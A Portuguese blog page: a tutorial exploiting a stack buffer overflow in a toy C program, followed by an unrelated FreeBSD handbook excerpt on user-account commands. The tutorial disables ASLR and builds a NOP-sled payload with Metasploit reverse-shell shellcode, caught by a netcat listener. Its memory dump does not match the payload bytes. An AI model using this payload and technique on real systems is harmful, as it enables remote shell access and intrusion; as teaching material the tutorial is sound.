Ensinarei como explorar esta falha em sistemas Unix. Causarei um buffer overflow para conseguir invocar uma shell reversamente, explicarei cada passo meu para o melhor entendimento.

Este é o nosso programa vulnerável a buffer overflow:


/* vuln.c */
#include
#include
#include

int bof(char *string) {

char buffer[1024];

strcpy(buffer, string);

return 1;
}

int main(int argc, char *argv[]) {

bof(argv[1]);
printf("Pronto!\n");

return 1;
}


Este programa, simplesmente recebe as strings do usuário e copia pro buffer, o qual tem a capacidade de 1024 bytes de dados. Se for enviado mais do que isso, causará um buffer overflow, e isso re-escreverá partes da memória.

Vamos compilá-lo:

bt NSG # gcc vuln.c -o vuln

Ah, precisamos desativar o patch do VA para conseguirmos exploitar o buffer overflow:

bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG # echo 0 > /proc/sys/kernel/randomize_va_space
bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG #


Agora, usaremos um debugger chamdo gdb para ver o que acontece quando é enviado mais que 1024 bytes de dado.
Usarei o Perl para conseguir enviar um buffer com 1040 bytes de dado:


bt NSG # gdb ./vuln
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run ´perl -e 'print "A"x1040'´
Starting program: /root/NSG/vuln ´perl -e 'print "A"x1040'´

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Como você pode ver, eu enviei uma string de 1040*A, A é 0x41 em sua forma hexadecimal.
Agora vamos analizar quais partes da memória foram sobre-escritos:


(gdb) i r
eax 0x1 1
ecx 0xfffff9e6 -1562
edx 0xbffff8aa -1073743702
ebx 0xb7fcc000 -1208172544
esp 0xbffff290 0xbffff290
ebp 0x41414141 0x41414141
esi 0xb7fce17c -1208163972
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)


Preste bastante atenção a esta parte:

eip 0x41414141 0x41414141

EIP é Extended Instruction Pointer, é nele que fica os endereços para a próxima instrução. Basicamente, ele aponta para o endereço onde o próximo pedaço de código será executado.
Então, sobre-escrevendo o eip com um endereço que contem um código nosso, nos permitirá que controlemos o fluxo(flow) do programa.
Nós sobre-escrevemos o eip com 41414141 que é AAAA. Porém, 41414141 não contém nenhum código e é uma parte inválida da memória que está sendo apontada.

Então precisamos apontar para um código nosso ;)

Para executar um código nosso, usaremos algo que se chama ShellCode(sim, o famoso).
O ShellCode, também conhecido por Bytecode, contém um conjunto de instruções do cpu. Não vamos falar sobre como criar nosso próprio ShellCode neste tópico(talvez mais pra frente ;)), então usaremos o metasploit para gerar um.

Primeiro, nós precisamos mandar o netcat ficar escutando e esperando por uma shell, vamos à escuta:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...


E vamos verificar nosso endereço IP:


bt ~ # ifconfig |grep inet
inet addr:192.168.0.6 Bcast:192.168.0.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
bt ~ #


Nosso endereço IP é 192.168.0.6. Agora, precisamos checar se o netcat está escutando devidamente:


bt ~ # netstat -an |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
bt ~ #


Certo, agora vá no site http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse
para gerarmos nossa ShellCode.
Complete o formulário da seguinte forma:

LHOST Required ADDR = 192.168.0.6 (aqui você coloca o seu endereço ip)
LPORT Required PORT = 9999

e clique em "Generate Payload.."

Ele gerará isto:

/* linux_ia32_reverse - LHOST=192.168.0.6 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76"
"\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9"
"\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98"
"\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73"
"\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab"
"\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3";


Como vocês devem ter percebido, o ShellCode tem 96 bytes.
Vamos pegar apenas o necessário:

\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3

Este ShellCode se conecta ao IP 192.168.0.6 pela porta 9999, que é onde o netcat está escutando, e nos dá uma shell.

Agora para encontrar nosso ShellCode na memória é um saco, então usaremos a técnica do NOP.
NOP é uma instruçãop que não faz nada( No Operation, 0x90)

Então, colocaremos algumas instruções NOP(nopsled) antes de nosso ShellCode, e apontaremos o eip para algum lugar de nosso NOPSLED, nossa payload ficará assim:

[dados inúteis - A (0x41)] [nopsled] - [ShellCode] [eip]

Agora nós precisamos calcular quanto, exatamente, precisamos enviar:

nós usamos 1040 bytes para sobre-carregar o eip com 0x41414141
eip são 4 bytes, então:
1040 - 4 = 1036
precisamos de 96 bytes para nosso ShellCode, então
1036 - 96 = 940
E nós podemos usar 940 bytes para nossos 'dados inúteis' e nosso nopsled.
Usarei 340 bytes para nosso nopsled, então será 340 x 0x90
940 - 340 = 600
E sobraram 600 bytes para usarmos de 'dados inúteis', ou seja, são 600 x A (0x41)
Nossa payload deverá ficar assim:

600x A(0x41) + 340 x NOP(0x90) + 96 bytes do ShellCode + 4 bytes do EIP = 1040 bytes

PAYLOAD:

´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`


Sobre-escreverei o eip com BBBB (0x42424242) apenas para um melhor entendimento.


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)


Como você pode ver, o eip foi sobre-escrito com 0x42424242 que é a parte da nossa payload que foi usada para sobre-escrever o eip.
Agora, precisamos apontar o eip para nosso nopsled ao invés de 0x42424242.
Vamos analizar nossa memória para vermos onde o nosso nopsled está:


(gdb) x/2000xb $esp


Agora aperta enter até ver uma grande quantidade de intruções NOP:


0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90


Antes do nosso nopsled, podemos ver nossos dados inúteis cheios de A(0x41), que foi como construímos nossa payload ;)
Após nosso NOPSLED, temos nosso ShellCode:


0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0x83
0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
---Type to continue, or q to quit---
0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3


Como você pode ver, nosso ShellCode começa com \x33.
Agora, nós precisamos sobre-escrever o eip de forma que aponte para algum lugar em nosso nopsled.
Isso irá executar as instruções NOP até chegar ao nosso ShellCode, que nos trará uma shell reversamente na porta 9999.

Vamos escolher um endereço que se encontra nosso nopsled, pegarei como exemplo este:

0xbffff740

Vamos escrever no formato "little-endian"(ao contrário):

\x40\xf7\xff\xbf

E vamos colocar isto em nossa payload, que ficará assim:


´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`


Agora vamos rodar o programa usando nossa payload como argumento:


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`


Agora vamos voltar ao netcat, o qual deixamos escutando na porta 9999:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...
192.168.0.6: inverse host lookup failed: No address associated with name
connect to [192.168.0.6] from (UNKNOWN) [192.168.0.6] 59126

uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz GenuineIntel GNU/Linux


É isso ae, pessoal, qualquer duvida, postem aqui que eu respondo ;)

Escrito por: Fzero

Modificando contas em ambientes Unix

0 comentários
Existe uma variedade de comandos diferentes disponíveis no ambiente UNIX® para manipular contas de usuários. Os comandos mais comuns estão sumariados abaixo, seguidos por exemplos mais detalhados de seu uso.
Comando Sumário
adduser(8) O comando recomendado para adicionar novos usuários.
rmuser(8) O comando recomendado para excluir usuários.
chpass(1) Uma ferramenta flexível para alterar informações de usuários.
passwd(1) Um simples comando para alterar a senha do usuário
pw(8) Uma podereosa e flexível ferramenta para alterar todos os aspectos das contas de usuários.

8.6.1. adduser

adduser(8) é um programa simples para adicionar novos usuários. Cria entradas nos arquivos passwd e group. Criará também um diretório home para o usuário novo, copia os arquivos de configuração padrão (``dotfiles'') de /usr/share/skel, e pode opcionalmente enviar ao usuário novo uma mensagem de boas vindas.
No FreeBSD 5.0, o adduser(8) foi rescrito de rotinas em linguagem Perl para um ``shell script'' que trabalha em conjunto com o pw(8), assim seu uso é ligeiramente diferente no FreeBSD 4.X e no FreeBSD 5.X.
Para criar a configuração inicial, use adduser -s -config_create. [1] Em seguida, configuramos os padrões do adduser(8), e criamos a nossa primeira conta de usuário, uma vez que utilizar a conta root para uso normal é um péssimo hábito.
Exemplo 8-1. Configurando adduser e adicionando um usuário no FreeBSD 4.X
# adduser -v
Use option ``-silent'' if you don't want to see all warnings and questions.
Check /etc/shells
Check /etc/master.passwd
Check /etc/group
Enter your default shell: csh date no sh tcsh zsh [sh]: zsh
Your default shell is: zsh -> /usr/local/bin/zsh
Enter your default HOME partition: [/home]:
Copy dotfiles from: /usr/share/skel no [/usr/share/skel]:
Send message from file: /etc/adduser.message no
[/etc/adduser.message]: no
Do not send message
Use passwords (y/n) [y]: y

Write your changes to /etc/adduser.conf? (y/n) [n]: y

Ok, let's go.
Don't worry about mistakes.  I will give you the chance later to correct any input.
Enter username [a-z0-9_-]: jua
Enter full name []: J.  Usuario Aleatorio
Enter shell csh date no sh tcsh zsh [zsh]:
Enter home directory (full path) [/home/jua]:
Uid [1001]:
Enter login class: default []:
Login group jua [jua]:
Login group is ``jua''.  Invite jua into other groups: guest no
[no]: wheel
Enter password []:
Enter password again []:

Name:     jua
Password: ****
Fullname: J.  Usuario Aleatorio
Uid:      1001
Gid:      1001 (jua)
Class:  
Groups:   jua wheel
HOME:     /home/jua
Shell:    /usr/local/bin/zsh
OK? (y/n) [y]: y
Added user ``jua''
Copy files from /usr/share/skel to /home/ua
Add another user? (y/n) [y]: n
Goodbye!
#
Em resumo, nós mudamos a shell padrão para zsh (uma shell adicional encontrada na coleção de ports), e desligamos o envio de um e-mail de boas vindas para o usuário adicionado. Nós salvamos as configurações, criamos uma conta com o nome de jua, e certificamos que jua faz parte do grupo wheel (de modo que possa assumir os privilégios do usuário root com o comando su(1).)
Nota: A senha que você digita não aparece, nem são mostrados asteriscos. Certifique-se que você não digitou dias vezes a senha errôneamente.
Nota: Use o adduser(8) sem argumentos de agora em diante, e você não terá que redefinir as opções padrão. Se o programa solicitar que os padrões sejam modificados, saia dele, e tente a opção -s.
Exemplo 8-2. Adicionando um usuário em FreeBSD 5.X
# adduser
Username: jua
Full name: J.  Usuario Aleatorio
Uid (Leave empty for default):
Login group [jua]:
Login group is jua.  Invite jua into other groups? []: wheel
Login class [default]:
Shell (sh csh tcsh zsh nologin) [sh]: zsh
Home directory [/home/jua]:
Use password-based authentication? [yes]:
Use an empty password? (yes/no) [no]:
Use a random password? (yes/no) [no]:
Enter password:
Enter password again:
Lock out the account after creation? [no]:
Username   : jua
Password   : ****
Full Name  : J. Usuario Aleatorio
Uid : 1001
Class      :
Groups     : jia wheel
Home       : /home/jua
Shell      : /usr/local/bin/zsh
Locked     : no
OK? (yes/no): yes
adduser: INFO: Successfully added (jua) to the user database.
Add another user? (yes/no): no
Goodbye!
#

8.6.2. rmuser

Você pode utilizar o rmuser(8) para remover completamente um usuário do sistema. rmuser(8) executa as seguintes etapas:
  1. Remove as entradas crontab(1) do usuário (se houver alguma).
  2. Remove todos os trabalhos pendentes no at(1), que pertencem ao usuário.
  3. Mata todos os processos controlados pelo usuário.
  4. Remove o usuário do arquivo de senha local do sistema
  5. Remove o diretório home do usuário (se este for de autoridade do usuário)
  6. Remove o arquivo de armazenamento de mensagens de correio eletrônico que pertence ao usuário, em /var/mail.
  7. Remove todos os arquivos de posse do usuário nas áreas temporárias de gravação de arquivos, como /tmp.
  8. Finalmente, remove o nome do usuário de todos os grupos que ele pertence, em /etc/group.
    Nota: Se um grupo se tornar vazio e o nome do grupo for o mesmo que o nome do usuário, o grupo será removido; isto inclui os grupos originais que é opcionalmente criado para cada usuário pelo adduser(8).


rmuser(8) não pode ser usado para remover contas de super usuários, pois isso aponta indícios de modificações prejudiciais no sistema.
Por padrão, a aplicação funciona em modo interativo, e tenta confirmar que você está certo do que está fazendo.
Exemplo 8-3. rmuser Remoção interativa de contas
# rmuser jua
Matching password entry:
jua:*:1001:1001::0:0:J. Usuario Aleatorio:/home/jru:/usr/local/bin/zsh
Is this the entry you wish to remove? y
Remove user's home directory (/home/jua)? y
Updating password file, updating databases, done.
Updating group file: trusted (removing group jua -- personal group is empty) done.
Removing user's incoming mail file /var/mail/jua: done.
Removing files belonging to jua from /tmp: done.
Removing files belonging to jua from /var/tmp: done.
Removing files belonging to jua from /var/tmp/vi.recover: done.
#

8.6.3. chpass

O chpass(1) modifica informações da base de dados do usuário tais como senhas, interpretadores de comandos e informações pessoais.
Apenas administradores do sistema, como o super usuário, podem alterar informações e senhas de outros usuários com chpass(1).
Quando passado sem opções, com exceção de um usuário opcional, chpass(1) abrirá um editor contendo as informações do usuário. Quando o usuário sair do editor, a base de dados do usuário será atualizada com as novas informações.
Nota: No FreeBSD 5.X, você será questionado sobre a senha senha depois que sair do editor, caso você não seja um super usuário.
Exemplo 8-4. Usando o chpass de forma interativa pelo super usuário
#Changing user database information for jua.
Login: jua
Password: *
Uid [#]: 1001
Gid [# or name]: 1001
Change [month day year]:
Expire [month day year]:
Class:
Home directory: /home/jua
Shell: /usr/local/bin/zsh
Full Name: J. Usuario Aleatorio
Office Location:
Office Phone:
Home Phone:
Other information:
O usuário normal pode alterar somente um subconjunto pequeno destas informações, e somente para ele mesmo.
Exemplo 8-5. Usando o chpass de forma interativa por um usuário normal
#Changing user database information for jua.
Shell: /usr/local/bin/zsh
Full Name: J. Usuario Aleatorio
Office Location:
Office Phone:
Home Phone:
Other information:
Nota: chfn(1) e chsh(1) são sinônimos de chpass(1). São links simbólicos para esta aplicação. Da mesma forma, ypchpass(1), ypchfn(1), e ypchsh(1) também o são. O suporte à NIS é automático, de forma que especificar yp antes do comando torna-se dispensável. Se isso parece confuso para você, não se preocupe pois o assunto NIS será abordado em Capítulo 19.

8.6.4. passwd

O comando passwd(1) é a maneira usual de modificar sua própria senha, ou a senha de um outro usuário, caso você tenha privilégios de administrador.
Nota: Os usuários comuns devem digitar sua senha original, antes de definir a nova senha, para impedir que uma pessoa desautorizada modifique-a, quando o verdadeiro dono estiver ausente mas manteve o console aberto.
Exemplo 8-6. Alterando sua senha
% passwd
Changing local password for jua.
Old password:
New password:
Retype new password:
passwd: updating the database...
passwd: done
Exemplo 8-7. Alterando a senha de outro usuário, tendo os privilégios do super usuário
# passwd jua
Changing local password for jua.
New password:
Retype new password:
passwd: updating the database...
passwd: done
Nota: O chpass(1), bem como yppasswd(1), também é um link simbólico para passwd(1), de forma que o NIS possa trabalhar com um ou outro comando.

8.6.5. pw

pw(8) é um comando utilitário cuja função é criar, remover, alterar e apresentar usuários e grupos. Ele funciona como um front end para os arquivos de usuários e grupos do sistema. O pw(8) tem um conjunto muito completo de opções e comandos que o torna apropriado para o uso em scripts shell, mas os usuários novos podem acha-lo mais complexo do que os outros comandos apresentados aqui.

Notas

[1] A opção -s faz o adduser(8) por padrão ficar em modo silencioso. Usaremos -v mais tarde quando quizermos modificar estes padrões.


Fonte
 
Copyright © Masterplan
Blogger Theme by BloggerThemes Sponsored by Busy Buzz Blogging